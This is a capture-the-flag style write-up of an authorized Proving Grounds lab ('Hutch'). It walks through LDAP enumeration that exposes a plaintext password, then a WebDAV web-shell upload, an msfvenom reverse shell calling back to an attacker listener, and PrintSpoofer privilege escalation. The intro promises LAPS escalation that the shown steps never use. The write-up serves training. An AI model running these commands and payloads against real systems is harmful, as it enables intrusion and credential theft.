Target: Active Directory

Proving Grounds: Hutch

This lab demonstrates leaking user credentials from LDAP to exploit WebDAV on an IIS web server, enabling shell uploads and remote code execution. Learners will escalate privileges by leveraging Microsoft LAPS (Local Administrator Password Solution) to retrieve the Administrator user’s randomized password via LDAP and execute commands as SYSTEM. The lab emphasizes web application exploitation, LDAP enumeration, and leveraging Windows privilege escalation techniques.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

To exploit this lab, you will enumerate LDAP and utilize the IIS web server with WebDAV enabled to gain code execution then escalate privileges by leveraging Microsoft LAPS, ultimately discovering the random password for the Administrator user through LDAP. This lab will enhance your skills in exploiting LDAP vulnerabilities, utilizing WebDAV for file uploads, and understanding Microsoft LAPS for privilege escalation.

Scenario

This lab demonstrates leaking user credentials from LDAP to exploit WebDAV on an IIS web server, enabling shell uploads and remote code execution. Learners will escalate privileges by leveraging Microsoft LAPS (Local Administrator Password Solution) to retrieve the Administrator user’s randomized password via LDAP and execute commands as SYSTEM. The lab emphasizes web application exploitation, LDAP enumeration, and leveraging Windows privilege escalation techniques.

Learning objectives

After completion of this lab, learners will be able to:

Enumerate services to identify LDAP and WebDAV on the IIS web server.
Extract user credentials from LDAP and authenticate with WebDAV.
Upload and execute a web shell to achieve remote access.
Retrieve the LAPS-managed Administrator password from LDAP.
Use the Administrator password to execute SYSTEM-level commands on the target.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

─(kali㉿kali)-[~/offsec/hutch]
# Map exposed services and versions on the target.

└─$ nmap -sS -Pn -T5 -p- 192.168.173.122
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-16 16:14 -0400
Nmap scan report for 192.168.173.122
Host is up (0.019s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49666/tcp open  unknown
49668/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49676/tcp open  unknown
49692/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 55.15 seconds

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

─(kali㉿kali)-[~/offsec/hutch]
# Map exposed services and versions on the target.

└─$ nmap -sCV -p- 192.168.173.122     
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-16 16:15 -0400
Nmap scan report for 192.168.173.122
Host is up (0.020s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/10.0
| http-webdav-scan: 
|   Server Type: Microsoft-IIS/10.0
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, DELETE, MOVE, PROPPATCH, MKCOL, LOCK, UNLOCK
|   Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK
|   Server Date: Tue, 16 Jun 2026 20:18:35 GMT
|_  WebDAV type: Unknown
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-16 20:17:47Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hutch.offsec, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
50116/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HUTCHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-16T20:18:40
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/Tools]
# Execute the next evidence-gathering step in the authorized lab.

└─$ ldapsearch -x -H ldap://192.168.173.122 -s base
## extended LDIF
#
## LDAPv3
## base <> (default) with scope baseObject
## filter: (objectclass=*)
## requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=hutch,DC=offsec
ldapServiceName: hutch.offsec:hutchdc$@HUTCH.OFFSEC
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=hutch,DC=offsec
serverName: CN=HUTCHDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Confi
 guration,DC=hutch,DC=offsec
schemaNamingContext: CN=Schema,CN=Configuration,DC=hutch,DC=offsec
namingContexts: DC=hutch,DC=offsec
namingContexts: CN=Configuration,DC=hutch,DC=offsec
namingContexts: CN=Schema,CN=Configuration,DC=hutch,DC=offsec
namingContexts: DC=DomainDnsZones,DC=hutch,DC=offsec
namingContexts: DC=ForestDnsZones,DC=hutch,DC=offsec
isSynchronized: TRUE
highestCommittedUSN: 73804
dsServiceName: CN=NTDS Settings,CN=HUTCHDC,CN=Servers,CN=Default-First-Site-Na
 me,CN=Sites,CN=Configuration,DC=hutch,DC=offsec
dnsHostName: hutchdc.hutch.offsec
defaultNamingContext: DC=hutch,DC=offsec
currentTime: 20260616202043.0Z
configurationNamingContext: CN=Configuration,DC=hutch,DC=offsec

## search result
search: 2
result: 0 Success

## numResponses: 2
## numEntries: 1

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/Tools]
# Execute the next evidence-gathering step in the authorized lab.

└─$ ldapsearch -x -H ldap://192.168.173.122 -b "DC=hutch,DC=offsec"
...
...
## Freddy McSorley, Users, hutch.offsec
dn: CN=Freddy McSorley,CN=Users,DC=hutch,DC=offsec
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Freddy McSorley
description: Password set to CrabSharkJellyfish192 at user\'s request. Please c
 hange on next login.
distinguishedName: CN=Freddy McSorley,CN=Users,DC=hutch,DC=offsec
instanceType: 4
whenCreated: 20201104053505.0Z
...
...

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Move into the directory needed for the next action.

c:\windows\system32\inetsrv>cd C:\inetpub\wwwroot
# Move into the directory needed for the next action.

cd C:\inetpub\wwwroot

Initial Access

Password found fmcsorley:CrabSharkJellyfish192
We'll update the payload using cadaver

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Execute the next evidence-gathering step in the authorized lab.

└─$ cadaver http://192.168.173.122                                 
Authentication required for 192.168.173.122 on server \`192.168.173.122':
Username: fmcsorley
Password: 
dav:/> put cmdasp.aspx
Uploading cmdasp.aspx to `/cmdasp.aspx':
Progress: [=============================>] 100.0% of 1400 bytes succeeded.
dav:/>

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Execute the next evidence-gathering step in the authorized lab.

└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.200 LPORT=1234 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes
Saved as: shell.exe

Created and uploaded shell.exe

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.173.122] 50988
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

# Confirm the identity of the current session.

c:\windows\system32\inetsrv>whoami
# Confirm the identity of the current session.

whoami
iis apppool\defaultapppool

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

C:\inetpub\wwwroot>.\PrintSpoofer64.exe -i -c cmd
.\PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

# Confirm the identity of the current session.

C:\Windows\system32>whoami
# Confirm the identity of the current session.

whoami
hutch\hutchdc$

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.